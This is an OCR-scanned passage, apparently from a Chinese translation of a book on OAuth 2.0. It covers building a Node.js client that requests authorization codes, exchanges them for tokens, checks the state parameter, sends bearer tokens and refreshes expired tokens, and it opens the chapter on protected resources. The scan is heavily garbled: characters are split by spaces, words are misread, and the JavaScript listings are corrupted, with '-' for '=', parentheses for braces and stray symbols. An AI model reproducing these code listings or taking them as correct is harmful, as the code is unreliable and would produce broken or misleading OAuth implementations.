需要 在 各 自 的 终端 窗口 中 同时 运行 这 三 个 组 件 ， 就 像 附 录 A 中 所 描述 的 那样 。 

在 这 个 练习 中 , 你 可 以 让 授权 服务 顺和 受 保护 资源 一 直 保 持 运 行 , 但 是 需要 在 每 次 编辑 客户 
端 代码 之 后 重启 客户 端 ， 以 便 让 改动 生效 。 


3.2.1 发 送 授 权 请 求 


客户 端 应 用 的 主页 面 中 包含 了 一 个 能 让 用 户 跳 转 至 http://localhost:9000/authorize 的 按钮 ， 以 
及 一 个 用 于 获取 受 保护 资源 的 按钮 (如 图 3-2 所 示 )。 现在 , 我 们 重点 关注 Get OAuth Token 按钮 。 
这 个 页 面 的 处 理 函 数 ( 当前 为 空 ) 如 下 。 






































app.get('/authorize', function(req, res)( 


)); 


Access token value: MJA 


Scope value: RJA 


Get OAuth Token Get Protected Resource 








图 3-2 客户 端 获取 令 牌 之 前 的 初始 状态 


为 了 局 动 授权 流程 ， 需 要 将 用 户 重 定向 至 授权 服务 需 的 授权 端点 ， 并 在 授权 端点 的 URL 中 
包含 所 有 适当 的 查询 参数 。 我 们 会 使 用 一 个 实用 函数 以 及 JavaScript url 库 来 构造 这 个 URL, 这 
个 实用 函数 会 承担 查询 参数 格式 化 和 参数 值 URL 编码 的 工作 。 我 们 已 经 为 你 提供 了 这 个 实用 函 
数 ， 然 而 在 任何 OAuth 实现 中 ， 你 都 需要 正确 地 构造 URL 并 添加 查询 参数 ， 这 样 才能 使 用 前 端 


信道 通信 。 


























var buildUrl = function(base, options, hash) { 

var newUrl - url.parse(base, true); 

delete newUrl.search; 

if (!newUrl.query) ( 
newUrl.query - (); 

} 

. .each(options, function(value, key, list) { 
newUrl.query[key] - value; 

)); 

if (hash) ( 
newUrl.hash - hash; 
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} 


return url.format (newUrl); 
Je 
这 个 实用 函数 接收 的 参数 为 一 个 URL 基础 和 一 个 对 象 , 对 象 中 包含 所 有 要 添加 到 URL 中 的 
查询 参数 。 在 这 里 ， 使 用 一 个 真正 的 URL 库 很 重要 ， 因 为 在 整个 OAuth 流程 中 ， 需 要 添加 参数 
的 URL 可 能 已 经 包含 参数 或 者 格式 怪异 。 
var authorizeUrl = buildUrl(authServer.authorizationEndpoint, ( 
response type: 'code', 
client id: client.client id, 


redirect uri: client.redirect uris[0] 


)); 
现在 ， 可 以 向 用 户 的 浏览 器 发 送 一 个 HTTP 重 定向 响应 ， 将 用 户 重 定向 至 授权 端点 。 











res.redirect (authorizeUrl); 


redirect PRZIUEH] Express.js 框架 提供 的 , 它 在 响应 http://localhost:9000/authorize 上 的 请 求 
时 ， 会 向 浏览 器 返回 一 个 HTTP 302 重 定向 消息 。 在 示例 客户 端 应 用 中 ， 每 一 次 调用 该 页 面 ， 都 
会 请 求 一 个 新 的 OAuth 令 牌 。 真 正 的 OAuth 客户 端 应 用 绝 不 应 该 使 用 像 这 样 的 能 从 外 部 访问 的 
触发 机 制 ， 而 应 该 跟踪 内 部 的 应 用 状态 ,用 于 确定 何 时 需要 请 求 新 的 访问 令 牌 。 对 于 这 个 简单 的 
练习 来 说 ， 使 用 外 部 触发 机 制 是 可 以 的 。 整 理 这 些 代 码 后 ， 最 终 的 函数 如 附录 B 中 的 代码 清单 1 
所 示 。 

现在 ， 当 用 户 点 击 客户 端 主 页 面 中 的 Get OAuth Token 按钮 时 ， 应 该 会 被 自动 重 定向 到 授权 
服务 器 的 授权 端点 ， 该 页 面 会 提示 对 客户 端 授 权 ( 如 图 3-3 所 示 )。 


Auth In Action: | OAuth Authorization Server 


Approve this client? 
ID: oauth-client-1 












































图 3-3 ”授权 服务 器 的 客户 端 授权 许可 页 面 

本 练习 中 的 授权 服务 咒 在 功能 上 是 完整 的 , 不 过 要 到 第 5 章 才 会 深入 探讨 它 的 工作 原理 。 点 
ili Approve 按钮 ， 授 权 服 务 絮 会 将 用 户 重 定向 回 到 客户 端 。 现 在 ， 还 看 不 出 来 有 什么 奇妙 之 处 ， 
让 我 们 在 下 一 节 继 续 探 索 。 
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3.2.2 “处理 授权 响应 


现在 ， 用 户 已 经 回 到 客户 端 应 用 ， 位 于 http://localhost:9000/callback， 该 URL 还 附带 一 些 查 
询 参 数 。 这 个 URL 由 下 面 的 函数 ( 当前 为 空 ) 来 处 理 。 











app.get('/callback', function(req, res)( 
Js 


在 OAuth 流程 的 这 个 环节 中 , 需要 查看 传人 的 参数 , 并 从 code 参数 中 读 取 授权 服务 器 返回 
的 授权 码 。 请 记 住 , 授权 服务 器 通过 重 定向 让 浏览 器 向 客户 端 发 起 请 求 ， 而 不 是 直接 响应 客户 端 


YES 
请 求 。 
var code = req.query.code; 


现在 ， 我 们 需要 拿 到 这 个 授权 码 ， 并 使 用 HTTP POST 方法 将 其 直接 发 送 至 令 牌 端点 。 将 授 
权 码 以 表单 参数 的 形式 放 入 请 求 正文 。 

var form data = gs.stringify(( 

grant type: 'authorization code', 
code: code, 
redirect uri: client.redirect uris[0] 

s 
另外 ， 为 什么 在 这 个 请 求 中 包含 redirect uri? 毕竟 此 处 是 不 需要 执行 重 定向 的 。 根 据 
OAuth 规范 ， 如 果 在 授权 请 求 中 指定 了 重 定向 URI， 那 么 令 牌 请 求 中 也 必须 包含 该 重 定 向 URI。 
这 可 以 防止 攻击 者 使 用 被 算 改 的 重 定向 URI 获取 受害 用 户 的 授权 码 ， 让 并 无 恶意 的 客户 端 将 受 
害 用 户 的 资源 访问 权限 关联 到 攻击 者 账户 。 第 9 章 将 研究 如 何在 服务 端 实现 这 个 检查 。 

还 需要 添加 一 些 请 求 头 来 标识 这 是 一 个 HTTP 表单 格式 的 请 求 , 并 使 用 HTTP 基本 认证 对 客 
户 端 进行 身份 认证 。 在 HTTP 基本 认证 中 ，Authorization 头 部 是 一 个 Base64 编码 的 字符 串 ， 
编码 的 内 容 是 拼接 后 的 用 户 名 和 密码 ， 以 冒号 分 隔 。OAuth 2.0 要 求 将 客户 端 ID 作为 用 户 名 , 将 
客户 端 密 钥 作为 密码 , 但 使 用 之 前 应 该 先 对 它们 分 别 进 行 URL 编码 。" 我 们 已 经 为 你 提供 了 一 个 
简单 的 实用 函数 ， 用 于 处 理 HTTP 基本 认证 编码 的 细节 。 


































































































var headers = ( 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' « encodeClientCredentials(client.client id, 


client.client secret) 


Je 
然后 ， 使 用 POST 请 求 将 这 些 信息 传送 至 服务 器 的 授权 端点 。 














(D 许多 客户 端 没有 对 客户 端 ID 和 密 钥 进行 URL 编码 , 有 些 服务 器 在 另 一 端 也 没有 进行 URL 解码 。 由 于 常见 的 客户 
端 ID 和 密 钥 都 是 简单 的 ASCII 字符 的 随机 集合 ， 不 会 出 现 问 题 。 但 是 为 了 完全 兼容 和 支持 扩展 字符 集 ， 请 务必 
进行 妥善 的 URL 编码 和 解码 。 
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var tokRes = request('POST', authServer.tokenEndpoint, 


( 


body: form data, 
headers: headers 


} 
p 


res.render('index', (access token: body.access token)); 


如 果 请 求 成 功 , 授权 服务 器 将 返回 一 个 包含 访问 令 牌 值 以 及 其 他 信息 的 JSON 对 象 ,响应 如 下 。 





( 


"access token": 
"token type": " 


} 


应 用 需要 读 取 结 果 








"987tghjkiu6trfghjuytrghj", 
Bearer" 


并 解析 JSON 对 象 , 获取 访问 令 牌 值 , 所 以 我 们 将 响应 解析 到 body 变量 中 。 





var body = JSON.parse(tokRes.getBody()); 


现在 ， 客 户 端 需要 将 这 个 令 牌 保存 起 来 ， 以 便 以 后 使 用 。 


access token = body.access, token; 

OAuth 客户 端 这 一 部 分 的 函数 如 附录 B 中 的 代码 清单 2 所 示 。 

获取 并 保存 访问 令 牌 之 后 ， 就 可 以 在 浏览 器 中 将 用 户 重 定向 至 一 个 显示 令 牌 值 的 页 面 (如 
图 3-4 所 示 )。 在 真实 的 OAuth 应 用 中 ， 这 样 将 访问 令 牌 展示 出 来 是 一 个 糟糕 的 主意 ， 因 为 这 是 
客户 端 应 该 保护 好 的 机 密 信息 。 在 示例 应 用 中 , 这 样 做 是 为 了 让 我 们 有 直观 的 感受 ,你 应 该 杜绝 
































这 种 糟糕 的 安全 实践 ， 在 实际 的 应 用 开发 中 保持 机 警 。 











Acoess token value: 
Scope value: RJA 


Get OAuth Token Get Protected Resource 





3-4” 收 到 访问 令 牌 之 后 的 客户 端 主页 面 ; 每 次 运行 程序 时 访问 令 牌 值 都 会 不 同 














3.23 使 用 state 参数 添加 跨 站 保护 


以 当前 的 代码 运行 





时 , 每 当 有 人 访问 http:/localhost:9000/callback, 客户 端 就 会 天 真 地 接受 收 


到 的 code W, 并 试图 将 其 发 送 给 授权 服务 咒 。 这 意味 着 攻击 者 可 能 会 用 客户 端 向 授权 服务 器 暴 
力 搜索 有 效 的 授权 码 , 浪费 客户 端 和 授权 服务 器 资源 , 而 且 还 有 可 能 导致 客户 端 获取 一 个 从 未 请 


求 过 的 令 牌 。 
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可 以 使 用 一 个 名 为 state 的 可 选 OAuth 参数 来 缓解 这 个 问题 , 将 该 参数 设置 为 一 个 随机 值 ， 
并 在 应 用 中 用 一 个 变量 保存 它 。 在 丢弃 旧 的 访问 令 牌 之 后 ， 我 们 会 创建 一 个 state 值 。 


state = randomstring.generate(); 


需要 将 这 个 值 保存 起 来 ， 因 为 当 通 过 回调 访问 redirect uri 时 ， 还 要 用 到 这 个 值 。 请 记 
fr, 由 于 此 阶段 使 用 前 端 信道 进行 通信 ,因此 重 定向 至 授权 端点 的 请 求 一 旦 发 出 ,客户 端 应 用 就 
会 放弃 对 OAuth 协议 流程 的 控制 ， 直 到 该 回调 发 生 。 还 需要 将 state 添加 到 通过 授权 端点 URL 
发 送 的 参数 列表 中 。 





















































var authorizeUrl = buildUrl(authServer.authorizationEndpoint, { 
response type: 'code', 
client id: client.client id, 
redirect uri: client.redirect uris[0], 
State: state 
Es 


当 授权 服务 器 收 到 一 个 带 有 state 参数 的 授权 请 求 时 ， 它 必须 总 是 将 该 state 参数 和 授权 


人 码 一 起 原样 返回 给 客户 端 。 这 意味 着 我 们 可 以 检查 传人 redirect uri 页 面 的 state 值 ， 并 与 
之 前 保存 的 值 对 比 。 如 果 不 一 致 ， 则 向 最 终 用 户 提 示 错 误 。 








if (req.query.state !- state) ( 
res.render('error', (error: 'State value did not match')); 
return; 


} 


如 果 state 值 与 我 们 所 期 望 的 值 不 一 致 ， 很 可 能 是 不 祥 之 兆 ， 比 如 会 话 固化 攻击 、 授 权 码 暴 
力 搜索 ,或 者 其 他 恶意 行为 。 此 时 ， 客 户 端 会 终止 所 有 的 授权 请 求 处 理 ， 并 向 用 户 展示 错误 页 面 。 


3.3 ”使 用 令 牌 访问 受 保护 资源 


现在 已 经 有 了 一 个 访问 令 牌 , 那 又 如 何 ” 我 们 可 以 用 它 来 做 什么 呢 ? 非常 幸运 , 有 一 个 现成 
的 受 保护 资源 正在 等 待 有 效 的 访问 令 牌 ， 当 它 接收 到 有 效 的 令 牌 时 ， 会 返回 一 些 有 用 的 信息 。 

客户 端 要 做 的 就 是 使 用 令 牌 向 受 保 护 资 源 发 出 调用 请 求 ， 有 3 个 合法 的 位 置 可 以 用 于 携带 
令 牌 。 在 客户 端 中 ,使 用 HTTP Authorization 头 部 来 传递 令 牌 ， 这 是 规范 推荐 尽 可 能 使 用 的 
方法 。 



































发 送 bearer 令 牌 的 方法 
我 们 得 到 的 这 种 访问 令 牌 叫 作 bearer 令 牌 ， 它 意味 着 无 论 是 谁 ， 只 要 持 有 该 令 牌 就 可 以 向 
受 保护 资源 出 示 。OAuth bearer 令 牌 使 用 规范 明确 给 出 了 发 送 令 牌 值 的 3 种 方法 : 
口 使 用 HTTP Authorization 头 部 ; 
口 使 用 表单 格式 的 请 求 体 参 数 ; 
口 使 用 URL 编码 的 查询 参数 。 
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由 于 另外 两 种 方法 存在 一 些 局 限 性 , 因此 建议 尽 可 能 使 用 Authorization 头 部 。 在 使 用 
查询 参数 时 ， 访 问 令 牌 的 值 有 可 能 被 无 意 地 泄露 到 服务 端 日 志 中 ， 因 为 查询 参数 是 URL 请 求 
的 一 部 分 ; 使 用 表单 的 方式 ， 会 限制 受 保护 资源 只 能 接收 表单 格式 的 输入 参数 ， 并 且 要 使 用 
POST 方法 。 如 果 有 API 已 经 按 这 样 的 限制 运行 了 ， 那 这 种 方法 没有 问题 ， 毕 竟 不 会 面临 与 查 
询 参数 方法 一 样 的 安全 局 限 。 

使 用 Authorization 头 部 是 这 3 种 方法 中 最 灵活 和 最 安全 的 ,但 是 对 于 某 些 客户 端 来 说 ， 
使 用 起 来 很 困难 。 一 个 健壮 的 OAuth 客户 端 或 服务 端 库 应 该 完整 地 提供 这 3 种 方式 ， 以 适应 


XH 

















Ho 实际 上 ， 示 例 中 的 受 保护 资源 也 全 部 实现 了 这 3 种 接收 访问 令 牌 的 方式 。 








Resour 


再 次 从 http://localhost:9000/ 打 开 客 户 端 应 用 首页 ， 会 发 现 还 有 男 外 一 个 按钮 : Get Protected 


ce。 点 击 这 个 按钮 会 跳 转 至 数据 显示 页 面 。 


app.get('/fetch resource', functionl(req, res)( 


); 





首先 ， 需 要 确认 是 否 已 拥有 访问 令 牌 。 如 果 没 有 ， 需 要 向 用 户 提 示 错 误 并 退出 。 


if (laccess token) ( 


} 


res.render('error', (error: 'Missing access token.')); 
return; 


如 有 果 在 没有 获取 令 牌 的 情况 下 运行 这 段 代码 ， 会 得 到 预料 之 中 的 错误 页 面 ， 如 图 3-5 所 示 。 





Error 


Missing Access Token 


图 3-5 客户 端 上 的 错误 页 面 ， 会 在 访问 令 牌 缺失 时 展现 





在 这 个 函数 体 中 ,需要 请 求 受 保护 资源 ， 并 将 获取 到 的 响应 数据 演 染 到 页 面 上 。 首 先 , 需要 
知道 请 求 发 向 何 处 ， 我 们 已 经 在 客户 端 代码 的 顶部 用 protectedResource 变量 设置 了 一 个 





URL。 





我 们 将 向 该 URL 发 送 请 求 并 期 待 返回 JSON 响应 。 换 名 话说 ， 这 是 一 个 非常 标准 的 API 





访问 请 求 。 但 是 现在 它 还 不 能 工作 ， 因 为 受 保护 资源 期 望 的 是 一 个 经 过 授权 的 调用 ， 虽 然 客 户 端 
能 够 获取 OAuth 令 牌 ， 但 还 未 使 用 它 。 我 们 需要 使 用 OAuth 定义 的 Authorization: Bearer 
头 来 发 送 令 牌 ， 将 令 牌 设 置 为 这 个 头 部 的 值 。 











var headers = ( 


'Authorization': 'Bearer ' + access token 
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un 
var resource - request('POST', protectedResource, 
(headers: headers) 
) ; 
这 段 代码 会 向 受 保护 资源 发 送 一 个 请 求 。 如 果 成 功 ,， 会 解析 返回 的 JSON 并 将 其 传递 给 数据 
模板 。 否 则 ， 需 要 向 用 户 展示 一 个 错误 页 面 。 Em 














if (resource.statusCode »- 200 && resource.statusCode « 300) ( 
var body - JSON.parse(resource.getBody()); 


res.render('data', (resource: body}); 

return; 

else ( 

res.render('error', (error: 'Server returned response code: ' + resource. 
statusCode]); 

return; 


=~~ 





完整 的 请 求 函 数 代 码 如 附录 B 中 的 代码 清单 3 所 示 。 ME, 当 我 们 获取 访问 令 牌 之 后 再 请 求 
受 保护 资源 时 ,会 看 到 来 自 API 的 数据 被 显示 出 来 了 ( 如 图 3-6 所 示 )。 


Data from protected resource: 








{ 

"name": "Protected Resource", 

"description": "This data has been protected by OAuth 2.0" 
Y 





图 3-6 ”展示 页 面 ， 显 示 来 自 受 保护 资源 API 的 数据 


作为 附加 练习 , 请 尝试 在 请 求 受 保护 资源 失败 时 自动 提示 用 户 授权 。 在 客户 端 发 现 没 有 访问 
令 牌 可 用 的 时 候 ， 你 也 可 以 使 用 该 自动 提示 。 


3.4 刷新 访问 令 牌 


现在 已 经 可 以 使 用 访问 令 牌 访问 受 保护 资源 了 , 但 是 如 果 访 问 令 牌 过 期 了 怎么 办 呢 ? 还 要 再 
次 劳 烦 用 户 为 客户 端 应 用 授权 吗 ? 

OAuth 2.0 提供 了 一 种 在 无 须 用 户 参 与 的 情况 下 获取 新 访问 令 牌 的 方法 : 刷新 令 牌 。 这 是 一 
项 很 重要 的 功能 ， 因 为 用 户 在 初次 授权 完成 之 后 不 会 一 直 在 场 ， 而 OAuth 经 常 要 在 这 样 的 情况 
下 使 用 。 第 2 章 已 经 详细 介绍 了 刷新 令 牌 ， 现 在 要 让 客户 端 支持 刷新 令 牌 。 

本 练习 会 使 用 新 的 基础 代码 ， 请 进入 ch-3-ex-2 目录 ,并 运行 npm install 命令 。 这 一 次 客 
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户 端 已 经 设置 了 访问 令 牌 和 刷新 令 牌 , 但 是 它 的 访问 令 牌 已 经 失效 , 就 如 同 刚 颁发 就 过 期 了 一 样 。 
但 客户 端 并 不 知道 它 的 访问 令 牌 已 失效 , 它 会 像 往常 一 样 尝试 使 用 它 。 这 会 导致 对 受 保护 资源 的 
调用 失败 , 我 们 需要 编写 代码 让 客户 端 使 用 刷新 令 牌 去 获取 新 的 访问 令 牌 ， 然后 用 新 的 访问 令 牌 
再 次 调用 受 保护 资源 。 请 将 3 个 应 用 全 部 运行 起 来 , 并 在 文本 编辑 带 中 打开 clientjs。 如 果 你 愿意 ， 
可 以 在 改动 客户 端 代 码 之 前 试用 一 下 客户 端 , 你 会 得 到 HTTP 错误 码 401, 表示 令 牌 无 效 ( 如 图 3-7 
所 示 )。 



















































































图 3-7 错误 页 面 ， 显示 来 自 受 保护 资源 的 访问 令 牌 无 效 错 误 码 

















我 的 令 牌 还 有 效 吗 ? 

客户 端 如 何 才能 知道 自己 的 访问 令 牌 是 否 有 效 ? 唯一 的 方法 就 是 使 用 它 , 然后 看 结果 。 如 
果 令 牌 具有 预 设 的 过 期 时 间 ， 授 权 服 务 器 可 以 在 令 牌 响应 中 使 用 一 个 可 选 的 expires in 字 
段 来 表示 预 设 的 有 效 期 。 这 是 一 个 从 令 牌 发 放 到 预 设 失效 时 间 之 间 的 秒 数值 。 一 个 中 规 中 憩 的 
客户 端 应 该 会 关注 这 个 值 ， 并 将 过 期 的 令 牌 丢弃 掉 。 

然而 ， 仅 仅 知道 过 期 时 间 还 不 足以 让 客户 端 掌握 令 牌 的 状态 。 在 很 多 OAuth 实现 中 ， 资 
源 拥 有 者 可 以 在 令 牌 过 期 之 前 将 其 撤销 。 一 个 设计 良好 的 客户 端 应 该 始终 能 预料 到 访问 令 牌 可 
能 随时 突然 失效 ， 并 能 做 出 反应 。 





如 果 你 已 完成 上 一 个 练习 中 的 附加 部 分 ， 就 知道 可 以 提示 用 户 重 新 授权 并 获取 一 个 新 的 令 
牌 。 但 这 一 次 有 了 刷新 令 牌 ， 所 以 如 果 它 能 正常 工作 ， 就 不 再 需要 去 烦 扰 用 户 了 。 有 刷新 令 牌 最 初 
是 与 访问 令 牌 在 同一 个 JSON 对 象 中 被 返回 给 客户 端的 ， 就 像 这 样 : 
































( 


"access token": "987tghjkiu6trfghjuytrghj", 
"token type": "Bearer", 
"refresh token": "j2r3oj32r23rmasd98uhjrk203i" 


} 

客户 端 将 刷新 令 牌 保 存在 refresh token 变量 中 , 我 们 在 代码 的 顶部 将 其 设 为 一 个 已 知 的 
值 来 模拟 这 个 过 程 。 

var access token = '987tghjkiu6trfghjuytrghj'; 


var scope - null; 
var refresh token = 'j2r3oj32r23rmasd98uhjrk203i'; 
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授权 服务 器 会 在 启动 时 先 清空 数据 库 , 再 将 上 面 这 个 刷新 令 牌 自动 插入 数据 库 。 之 所 以 并 没 
重信 对 应 的 访问 令 牌 是 因为 要 模拟 一 个 访问 令 牌 已 过 期 但 刷新 令 牌 仍然 有 效 的 环境 。 





有 


EN 


nosql.clear(); 
nosql.insert(( 
refresh token: 'j2r3oj32r23rmasd98uhjrk203i', 
client id: 'oauth-client-1', scope: 'foo bar' 
yrs 


现在 来 处 理 令 牌 刷新 。 首 先 ， 进 入 错误 处 理 代码 ， 并 废弃 掉 当 前 的 访问 令 牌 。 为 此 ,我 们 在 
处 理 受 保护 资源 响应 的 代码 的 el se 。 子 句 中 添加 代码 。 


if (resource.statusCode >= 200 && resource.statusCode < 300) ( 
var body - JSON.parse(resource.getBody()); 
res.render('data', (resource: body}) 
return; 
) else ( 
access token - null; 
if (refresh token) ( 
refreshAccessToken(req, res); 
return; 
) else ( 
res.render('error', (error: resource.statusCode)); 
return; 





} 


在 refreshAccessToken 函数 中 , 我 们 像 之 前 那样 向 令 牌 端点 发 起 了 一 个 请 求 。 如 你 所 见 ， 
刷新 访问 令 牌 是 授权 许可 的 一 种 特殊 情况 ， 我 们 使 用 refresh token 作为 grant_type 参数 
的 值 。 刷 新 令 牌 也 作为 参数 包含 在 其 中 。 

















var form data = qs.stringify(( 
grant type: 'refresh token', 
refresh token: refresh token 
)); 


var headers - ( 
'Content-Type': 'application/x-www-form-urlencoded', 
'Authorization': 'Basic ' « encodeClientCredentials(client.client id, 


client.client secret) 
Je; 
var tokRes = request('POST', authServer.tokenEndpoint, ( 
body: form data, 
headers: headers 
s 


So CE 授权 服务 器 会 返回 一 个 JSON 对 象 ， 就 像 首次 以 普通 方式 调用 令 牌 


"access token": "IqTnLOKcSY62klAuNTVevPdyEnbY82PB", 
"token type": "Bearer", 


AE 
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"refresh token": "j2r30oj32r23rmasd98uhjrk203i" 
} 





现在 ,可 以 像 之 前 一 样 





， 将 访问 令 牌 的 值 保存 起 来 。 这 个 响应 还 可 以 包含 刷新 令 牌 ， 它 可 能 
与 之 前 那个 刷新 令 牌 的 值 不 同 。 如 果 是 这 样 ， 那 么 客户 端 需要 将 之 前 保存 的 旧 刷 新 令 牌 丢弃 掉 ， 
并 将 新 的 刷新 令 牌 保存 下 来 。 











access token = body.access, token; 
if (body.refresh token) ( 

refresh token - body.refresh token; 
j 











最 后 ， 要 让 客户 端 尝 试 重新 获取 受 保护 资源 。 由 于 客户 端 操作 都 是 用 URL 触发 的 ， 因 此 可 
以 重 定向 回 到 请 求 资源 的 URL， 重 新 启动 该 流程 。 这 种 操作 触发 在 生产 环境 中 可 


Ab A f 
能 会 更 复杂 。 
res.redirect('/fetch resource'); 


























来 看 看 它 是 否 能 正常 工作 。 局 动 软件 并 在 客户 端 网 页 中 点 击 Get Protected Resource。 这 次 看 


到 的 应 该 是 受 保护 资源 的 数据 ， 而 不 是 令 牌 无 效 的 错误 页 面 。 查 看 授权 服务 器 的 控制 台 : 颁发 刷 
新 令 牌 时 它 会 给 出 提示 ， 并 将 每 次 请 求 所 使 用 的 令 牌 值 显示 出 来 。 


We found a ma 











tching refresh token: j2r30j32r23rmasd98uhjrk203i 


Issuing access token IqTnLOKcSY62klAuNTVevPdyEnbY82PB for refresh token 
j2r3oj32r23rmasd98uhjrk203i 





点 击 客户 端 应 月 


目的 标题 栏 ， 你 还 会 发 现 客户 端 主页 面 上 的 访问 令 牌 值 发 生 了 改变 。 请 对 比 现 
在 的 和 应 用 刚 启动 时 的 刷新 令 牌 与 访问 令 牌 (如 图 3-8 所 示 )。 











Access token value: Iu Eee T E ST n 


Scope value: TIT 


Refresh token value: 


Get OAuth Token Get Protected Resource 





图 3-8 Jm 





新 访问 令 牌 之 后 的 客户 端 主页 面 


c—— 











如 果 刷 新 令 牌 也 失效 了 怎 


I^ 





么 办 ? 需要 将 刷新 令 牌 和 访问 令 牌 都 丢弃 掉 ， 并 泻 染 一 个 错误 提示 。 
j else ( 


refresh token - null; 
res.render('error', (error: 'Unable to refresh token. 
return; 


"ys 
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然而 ， 我 们 并 不 必 停 洁 于 此 。 因 为 这 是 一 个 OAuth 客户 端 ， 所 以 我 们 只 是 回 到 了 从 没 获取 
过 访问 令 牌 的 最 初 状 态 , 可 以 再 次 要 求 用 户 对 客户 端 授权 。 作为 附加 练习 , 请 检查 这 一 错误 条 件 ， 
并 向 授权 服务 器 请 求 新 的 访问 令 牌 。 注 意 ， 不 要 忘记 将 新 的 刷新 令 牌 也 保存 起 来 。 

完整 的 获取 资源 和 刷新 访问 令 牌 的 函数 如 附录 B. 中 的 代码 清单 4 所 示 。 


3.5 ”小结 E 


OAuth 客户 端 是 OAuth 生态 系统 中 使 用 最 广泛 的 部 分 。 

口 使 用 授权 码 许可 类 型 获取 令 牌 只 需要 几 个 简单 的 步骤。 

口 如 果 刷 新 令 牌 可 用 ， 则 可 以 使 用 它 获取 新 的 访问 令 牌 ， 而 不 需要 用 户 参 与 。 

口 使 用 OAuth 2.0 的 bearer 令 牌 比 获取 令 牌 更 简单 ， 只 需要 将 一 个 简单 的 HTTP 头 部 添加 到 
所 有 的 HTTP 请 求 中 即 可 。 

现在 ,我 们 已 经 知道 客户 端 如 何 工 作 了 , 接 下 来 的 任务 是 构建 一 个 受 保护 资源 供 客户 端 访 问 。 






























































构建 简单 的 OAuth 受 保护 
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本 章 内 容 
口 解析 HTTP 请 求 中 的 OAuth 令 牌 
口 令 牌 错误 响应 


口 根据 权限 范围 提供 不 同 的 服务 
a 根据 资源 拥有 者 提供 不 同 的 服务 











我 们 已 经 有 了 一 个 可 以 运行 的 OAuth 客户 端 ， 现 在 需要 创建 受 保护 资源 ， 供 客户 端 用 访问 
令 牌 调用 。 本 章 将 构建 一 个 简单 的 资源 服务 器 ， 它 可 以 供 客户 端 调 用 ,并 由 授权 服务 器 保护 。 每 
个 练习 都 为 你 提供 了 功能 完整 旦 协同 工作 的 客户 端 和 授权 服务 器 。 


























注意 本 书 中 所 有 的 练习 和 示例 都 是 使 用 Node.js 和 JavaScript 构建 的 。 每 个 练习 都 由 多 个 组 件 
构成 ， 各 个 组 件 都 运行 在 同一 个 系统 上 ， 可 以 分 别 通过 localhost 上 的 不 同 端口 访问 。 要 
了 解 关 于 程序 框架 和 结构 的 更 多 信息 ， 请 参考 附录 A。 

















对 于 大 多 数 基于 Web 的 API， 增 加 OAuth 安全 层 是 一 个 轻 量 级 的 过 程 。 资 源 服务 器 需要 做 
的 就 是 从 传人 的 HTTP 请 求 中 解析 出 OAuth 令 牌 ,验证 该 令 牌 , 并 确定 它 能 用 于 哪些 请 求 。 鉴 于 
你 正在 阅读 本 章 内 容 , 所 以 可 能 打算 使 用 OAuth 来 保护 手头 上 已 经 构建 好 的 系统 或 API。 在 本 章 
的 练习 中 ， 我 们 并 不 打算 让 你 仅 为 了 练习 而 开发 一 个 API。 相 反 ,， 我 们 已 提供 了 一 些 资源 端点 和 
数据 对 象 ,每 个 练习 中 的 客户 端 都 能 调用 这 些 资源 ,资源 服务 器 将 会 是 一 个 简单 的 数据 存储 服务 ， 
根据 各 个 练习 的 需要 在 多 个 URL 上 通过 HTTP GET 和 POST 请 求 提供 JSON 对 象 存 取 服务 。 

尽管 受 保护 资源 和 授权 服务 器 在 概念 上 是 OAuth 系统 中 的 不 同 组 件 ， 但 许多 OAuth 实现 将 
二 者 放 在 一 起 。 这 种 做 法 在 两 个 系统 耦合 紧密 的 情况 下 很 适用 。 在 本 章 的 练习 中 , 我们 会 在 同一 
台 机 器 上 使 用 独立 的 进程 运行 受 保护 资源 ， 但 是 它 能 够 访问 授权 服务 器 所 使 用 的 数据 库 。 第 11 
章 将 讨论 如 何 拆 分 这 种 耦合 。 
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4.1 解析 HTTP 请 求 中 的 OAuth Sh 


请 打开 练习 ch-4-ex-1, 编辑 protectedResource.js。 本 练习 不 需要 改动 client.js 和 authorization- 
Server.jso 

受 保护 资源 接受 OAuth bearer 令 牌 ， 因 为 授权 服务 器 生成 的 就 是 bearer f. OAuth bearer 
令 牌 使 用 规范 "定义 了 3 种 向 受 保护 资源 传递 bearer 令 牌 的 方法 : 使 用 HTTP authorization 3k 
部 、 使 用 表单 参数 ， 以 及 使 用 查询 参数 。 我 们 会 在 受 保护 资源 上 实现 这 3 种 方法 , 并且 首选 使 用 
Authorization 头 部 。 

由 于 要 在 多 个 资源 URL 上 执行 此 操作 ,会 使 用 一 个 辅助 函数 来 检查 令 牌 ,练习 所 使 用 的 Web 
应 用 框架 Express.js 提供 了 一 个 非常 简单 的 方法 , 虽然 实现 细节 是 Expressjs 所 特有 的 , 但 是 这 其 
中 的 一 般 性 概念 对 于 其 他 Web 框架 都 是 适用 的 。 与 到 目前 为 止 我 们 所 用 的 大 多 数 HTTP. ABT PR 
数 不 同 , 辅助 函数 会 接受 3 个 参数 。 第 3 个 参数 next 是 一 个 函数 , 可 以 调用 它 来 继续 处 理 请 求 。 
这 使 得 我 们 可 以 使 用 多 个 函数 串 行 处 理 单个 请 求 , 并 把 令 牌 检查 功能 添加 到 整个 应 用 的 请 求 处 理 
流程 中 。 现 在 这 个 琢 数 还 是 空 的 ， 稍 后 会 添加 内 容 。 
















































































var getAccessToken = function(req, res, next) ( 

m 

OAuth bearer 令 牌 使 用 规范 规定 , 在 使 用 HTTP Authorization 头 部 传递 令 牌 时 ，HTTP 3k 
的 值 以 关键 字 Bearer 开头 , 后 跟 一 个 空格 , 再 跟 令 牌 值 本 身 。 而 且 , OAuth 规范 还 规定 Bearer 
关键 字 不 区 分 大 小 写 。 此 外 ，HTTP 规范 还 规定 了 Authorization 头 部 关键 字 本 身 不 区 分 大 小 
写 。 这 意味 着 以 下 所 有 的 HITP 头 都 是 等 价 的 。 

















Authorization: Bearer 987tghjkiu6trfghjuytrghj 
Authorization: bearer 987tghjkiu6trfghjuytrghj 
authorization: BEARER 987tghjkiu6trfghjuytrghj 





首先 ， 尝 试 从 请 求 中 获取 Authorization 头 部 (如 果 请 求 中 包含 )， 然 后 检查 它 是 否 包 含 
OAuth bearer 令 牌 。 由 于 Express.js 框架 自动 将 所 有 HTTP 头 名 称 转 为 小 写 ， 因 此 我 们 使 用 字符 串 
authorization 检查 传人 的 请 求 对 象 。 还 要 在 将 头 部 值 转 为 小 写 之 后 检查 关键 字 bearer。 











var inToken = null; 
var auth = req.headers['authorization']; 
if (auth && auth.toLowerCase().indexOf('bearer') -- 0) ( 


